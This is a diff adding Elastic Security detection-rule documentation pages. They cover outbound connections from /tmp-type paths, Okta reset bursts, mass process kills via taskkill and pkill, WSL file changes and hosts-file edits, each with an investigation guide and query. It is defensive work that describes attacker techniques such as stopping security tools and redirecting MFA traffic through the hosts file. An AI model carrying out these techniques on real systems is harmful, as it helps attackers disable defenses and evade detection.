bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.network-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "connection_attempted" and + ( + process.executable like "/tmp/*" or + process.executable like "/var/tmp/*" or + process.executable like "/dev/shm/*" or + process.executable like "/var/log/*" or + process.executable like "/sys/*" or + process.executable like "/media/*" or + process.executable like "/proc/*" or + process.executable like "/var/backups/*" or + process.executable like "/var/mail/*" or + process.executable like "/var/spool/*" or + process.executable like "./*" or + process.name like ".*" + ) and + not ( + cidr_match(destination.ip, + "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", + "192.0.0.0/24", "192.0.0.29/32", "192.0.0.8/32", "192.0.0.9/32", + "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", + "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", "198.18.0.0/15", + "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8" + ) or + process.executable like "/tmp/newroot/*" or + process.executable like "/tmp/.mount*" or + process.executable like "/tmp/go-build*" + ) +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + process.name, + process.executable, + destination.ip, + agent.id, + host.name, + data_stream.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by process.executable +| where + Esql.agent_id_count_distinct == 1 and + Esql.event_count > 15 + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| sort Esql.event_count asc + +| keep agent.id, host.name, process.executable, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-okta-user-password-reset-or-unlock-attempts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-okta-user-password-reset-or-unlock-attempts.asciidoc new file mode 100644 index 0000000000..f0019940b6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-okta-user-password-reset-or-unlock-attempts.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-high-number-of-okta-user-password-reset-or-unlock-attempts]] +=== High Number of Okta User Password Reset or Unlock Attempts + +Identifies a high number of Okta user password reset or account unlock attempts. An adversary may attempt to obtain unauthorized access to Okta user accounts using these methods and attempt to blend in with normal activity in their target's environment and evade detection. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Threshold +* Platform: Okta +* Domain: Identity + +*Version*: 418 + +*Rule authors*: + +* Elastic +* @BenB196 +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating High Number of Okta User Password Reset or Unlock Attempts* + + +This rule is designed to detect a suspiciously high number of password reset or account unlock attempts in Okta. Excessive password resets or account unlocks can be indicative of an attacker's attempt to gain unauthorized access to an account. + + +*Possible investigation steps:* + +- Identify the actor associated with the excessive attempts. The `okta.actor.alternate_id` field can be used for this purpose. +- Determine the client used by the actor. You can look at `okta.client.device`, `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.ip_chain.ip`, and `okta.client.geographical_context`. +- Review the `okta.outcome.result` and `okta.outcome.reason` fields to understand the outcome of the password reset or unlock attempts. +- Review the event actions associated with these attempts. Look at the `event.action` field and filter for actions related to password reset and account unlock attempts. +- Check for other similar patterns of behavior from the same actor or IP address. If there is a high number of failed login attempts before the password reset or unlock attempts, this may suggest a brute force attack. +- Also, look at the times when these attempts were made. If these were made during off-hours, it could further suggest an adversary's activity. + + +*False positive analysis:* + +- This alert might be a false positive if there are legitimate reasons for a high number of password reset or unlock attempts. This could be due to the user forgetting their password or account lockouts due to too many incorrect attempts. +- Check the actor's past behavior. If this is their usual behavior and they have a valid reason for it, then it might be a false positive. + + +*Response and remediation:* + +- If unauthorized attempts are confirmed, initiate the incident response process. +- Reset the user's password and enforce MFA re-enrollment, if applicable. +- Block the IP address or device used in the attempts, if they appear suspicious. +- If the attack was facilitated by a particular technique, ensure your systems are patched or configured to prevent such techniques. +- Consider a security review of your Okta policies and rules to ensure they follow security best practices. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and + event.action:(system.email.account_unlock.sent_message or system.email.password_reset.sent_message or + system.sms.send_account_unlock_message or system.sms.send_password_reset_message or + system.voice.send_account_unlock_call or system.voice.send_password_reset_call or + user.account.unlock_token) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-process-and-or-service-terminations.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-process-and-or-service-terminations.asciidoc new file mode 100644 index 0000000000..451f78acf3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-process-and-or-service-terminations.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-high-number-of-process-and-or-service-terminations]] +=== High Number of Process and/or Service Terminations + +This rule identifies a high number (10) of process terminations (stop, delete, or suspend) from the same host within a short time period. + +*Rule type*: threshold + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/luna-ransomware-attack-pattern + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Noise: Medium +* Performance: Normal +* Rule Type: Threshold +* Platform: Windows + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating High Number of Process and/or Service Terminations* + + +Attackers can stop services and kill processes for a variety of purposes. For example, they can stop services associated with business applications and databases to release the lock on files used by these applications so they may be encrypted, or stop security and backup solutions, etc. + +This rule identifies a high number (10) of service and/or process terminations (stop, delete, or suspend) from the same host within a short time period. + + +*Possible investigation steps* + + +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check if any files on the host machine have been encrypted. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further destructive behavior, which is commonly associated with this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reimage the host operating system or restore it to the operational state. +- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and event.type:start and process.name:(net.exe or sc.exe or taskkill.exe) and + process.args:(stop or pause or delete or "/PID" or "/IM" or "/T" or "/F" or "/t" or "/f" or "/im" or "/pid") and + not process.parent.name:(osquerybeat.exe or agentbeat.exe) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-process-terminations.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-process-terminations.asciidoc new file mode 100644 index 0000000000..d7d7b1953e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-high-number-of-process-terminations.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-34-high-number-of-process-terminations]] +=== High Number of Process Terminations + +This rule identifies a high number (10) of process terminations via pkill from the same host within a short time period. + +*Rule type*: threshold + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Threshold +* Platform: Linux + +*Version*: 119 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating High Number of Process Terminations* + + +Attackers can kill processes for a variety of purposes. For example, they can kill process associated with business applications and databases to release the lock on files used by these applications so they may be encrypted,or stop security and backup solutions, etc. + +This rule identifies a high number (10) of process terminations via pkill from the same host within a short time period. + + +*Possible investigation steps* + + +- Examine the entry point to the host and user in action via the Analyse View. + - Identify the session entry leader and session user. +- Examine the contents of session leading to the process termination(s) via the Session View. + - Examine the command execution pattern in the session, which may lead to suspricous activities. +- Examine the process killed during the malicious execution + - Identify imment threat to the system from the process killed. + - Take necessary incident response actions to respawn necessary process. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further destructive behavior, which is commonly associated with this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reimage the host operating system or restore it to the operational state. +- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and ( + (process.name:"pkill" and process.args:"-f") or + (process.name:kill and process.args:"-9") or + (process.name:killall) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-host-file-system-changes-via-windows-subsystem-for-linux.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-host-file-system-changes-via-windows-subsystem-for-linux.asciidoc new file mode 100644 index 0000000000..f0a96ba207 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-host-file-system-changes-via-windows-subsystem-for-linux.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-host-file-system-changes-via-windows-subsystem-for-linux]] +=== Host File System Changes via Windows Subsystem for Linux + +Detects file creation and modification on the host system from the Windows Subsystem for Linux. Adversaries may enable and use WSL to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/microsoft/WSL +* https://detect.fyi/the-interesting-case-of-wsl-for-payload-staging-bfaa0f69329a + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Host File System Changes via Windows Subsystem for Linux* + + +Windows Subsystem for Linux (WSL) allows users to run a Linux environment directly on Windows, facilitating seamless file access between systems. Adversaries may exploit WSL to modify host files stealthily, bypassing traditional security measures. The detection rule identifies suspicious file operations initiated by WSL processes, particularly those involving the Plan9FileSystem, to flag potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the process details for the "dllhost.exe" instance that triggered the alert, focusing on the command line arguments to confirm the presence of the Plan9FileSystem CLSID "{DFB65C4C-B34F-435D-AFE9-A86218684AA8}". +- Examine the file paths involved in the alert to determine if any sensitive or critical files were accessed or modified outside of typical user directories. +- Investigate the parent process of "dllhost.exe" to understand the context of its execution and identify any potentially malicious parent processes. +- Check the timeline of events leading up to and following the alert to identify any other suspicious activities or related alerts that may indicate a broader attack pattern. +- Correlate the alert with user activity logs to determine if the actions were performed by a legitimate user or if there are signs of compromised credentials or unauthorized access. + + +*False positive analysis* + + +- Routine file operations by legitimate applications using WSL may trigger alerts. Identify and whitelist these applications to prevent unnecessary alerts. +- Development activities involving WSL, such as compiling code or running scripts, can generate false positives. Exclude specific development directories or processes from monitoring. +- Automated backup or synchronization tools that interact with WSL might be flagged. Configure exceptions for these tools by specifying their process names or file paths. +- System maintenance tasks that involve WSL, like updates or system checks, could be mistaken for suspicious activity. Schedule these tasks during known maintenance windows and adjust monitoring rules accordingly. +- Frequent downloads or file transfers to directories outside the typical user download paths may appear suspicious. Define clear policies for acceptable file paths and exclude them from alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes associated with "dllhost.exe" that are linked to the Plan9FileSystem CLSID to stop ongoing malicious activities. +- Conduct a thorough review of recent file changes on the host system to identify and restore any unauthorized modifications or deletions. +- Revoke any unauthorized access or permissions granted to WSL that may have been exploited by the adversary. +- Update and patch the Windows Subsystem for Linux and related components to mitigate any known vulnerabilities that could be exploited. +- Monitor for any recurrence of similar activities by setting up alerts for processes and file operations involving "dllhost.exe" and the Plan9FileSystem. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=5m +[process where host.os.type == "windows" and event.type == "start" and + process.name : "dllhost.exe" and + /* Plan9FileSystem CLSID - WSL Host File System Worker */ + process.command_line : "*{DFB65C4C-B34F-435D-AFE9-A86218684AA8}*"] +[file where host.os.type == "windows" and process.name : "dllhost.exe" and + not file.path : "?:\\Windows\\Prefetch\\DLLHOST.exe-????????.pf"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-hosts-file-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-hosts-file-modified.asciidoc new file mode 100644 index 0000000000..d0a9f10933 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-hosts-file-modified.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-hosts-file-modified]] +=== Hosts File Modified + +The hosts file on endpoints is used to control manual IP address to hostname resolutions. The hosts file is the first point of lookup for DNS hostname resolution so if adversaries can modify the endpoint hosts file, they can route traffic to malicious infrastructure. This rule detects modifications to the hosts file on Microsoft Windows, Linux (Ubuntu or RHEL) and macOS systems. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* winlogbeat-* +* logs-endpoint.events.* +* logs-windows.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-reference-yml.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Hosts File Modified* + + +Operating systems use the hosts file to map a connection between an IP address and domain names before going to domain name servers. Attackers can abuse this mechanism to route traffic to malicious infrastructure or disrupt security that depends on server communications. For example, Russian threat actors modified this file on a domain controller to redirect Duo MFA calls to localhost instead of the Duo server, which prevented the MFA service from contacting its server to validate MFA login. This effectively disabled MFA for active domain accounts because the default policy of Duo for Windows is to "Fail open" if the MFA server is unreachable. This can happen in any MFA implementation and is not exclusive to Duo. Find more details in this https://www.cisa.gov/uscert/ncas/alerts/aa22-074a[CISA Alert]. + +This rule identifies modifications in the hosts file across multiple operating systems using process creation events for Linux and file events in Windows and macOS. + + +*Possible investigation steps* + + +- Identify the specifics of the involved assets, such as role, criticality, and associated users. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the changes to the hosts file by comparing it against file backups, volume shadow copies, and other restoration mechanisms. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity and the configuration was justified. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Consider isolating the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Review the privileges of the administrator account that performed the action. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +For Windows systems using Auditbeat, this rule requires adding `C:/Windows/System32/drivers/etc` as an additional path in the 'file_integrity' module of auditbeat.yml. + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +any where process.executable != null and + + /* file events for creation; file change events are not captured by some of the included sources for linux and so may + miss this, which is the purpose of the process + command line args logic below */ + ( + event.category == "file" and event.type in ("change", "creation") and event.action != "rename" and + file.path : ("/private/etc/hosts", "/etc/hosts", "?:\\Windows\\System32\\drivers\\etc\\hosts") and + not process.name in ("dockerd", "rootlesskit", "podman", "crio") and + not process.executable : ("C:\\Program Files\\Fortinet\\FortiClient\\FCDBLog.exe", + "C:\\Program Files\\Fortinet\\FortiClient\\FortiWF.exe", + "C:\\Program Files\\Fortinet\\FortiClient\\fmon.exe", + "C:\\Program Files\\Seqrite\\Seqrite\\SCANNER.EXE", + "C:\\Windows\\System32\\SearchProtocolHost.exe", + "C:\\Windows\\Temp\\*.ins\\inst.exe", + "C:\\Windows\\System32\\svchost.exe", + "C:\\Program Files\\NordVPN\\nordvpn-service.exe", + "C:\\Program Files\\Tailscale\\tailscaled.exe", + "C:\\Program Files\\Docker\\Docker\\com.docker.service", + "C:\\Program Files\\Docker\\Docker\\InstallerCli.exe", + "C:\\Program Files\\Quick Heal\\Quick Heal AntiVirus Pro\\scanner.exe", + "C:\\Program Files (x86)\\Quick Heal AntiVirus Pro\\SCANNER.EXE", + "C:\\Program Files\\Quick Heal\\Quick Heal Internet Security\\scanner.exe", + "C:\\Program Files (x86)\\Cisco\\Cisco AnyConnect Secure Mobility Client\\vpnagent.exe", + "/Applications/Parallels Desktop.app/Contents/MacOS/prl_naptd", + "/opt/IBM/InformationServer/Server/DSEngine/bin/uvsh", + "/usr/local/demisto/server", + "/usr/local/bin/defender") + ) + or + + /* process events for change targeting linux only */ + ( + event.category == "process" and event.type in ("start") and + process.name in ("nano", "vim", "vi", "emacs", "echo", "sed") and + (process.args : ("/etc/hosts") or (process.working_directory == "/etc" and process.args == "hosts")) and + not process.parent.name in ("dhclient-script", "google_set_hostname") and + not process.command_line == "sed -i /Added by Google/d /etc/hosts" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 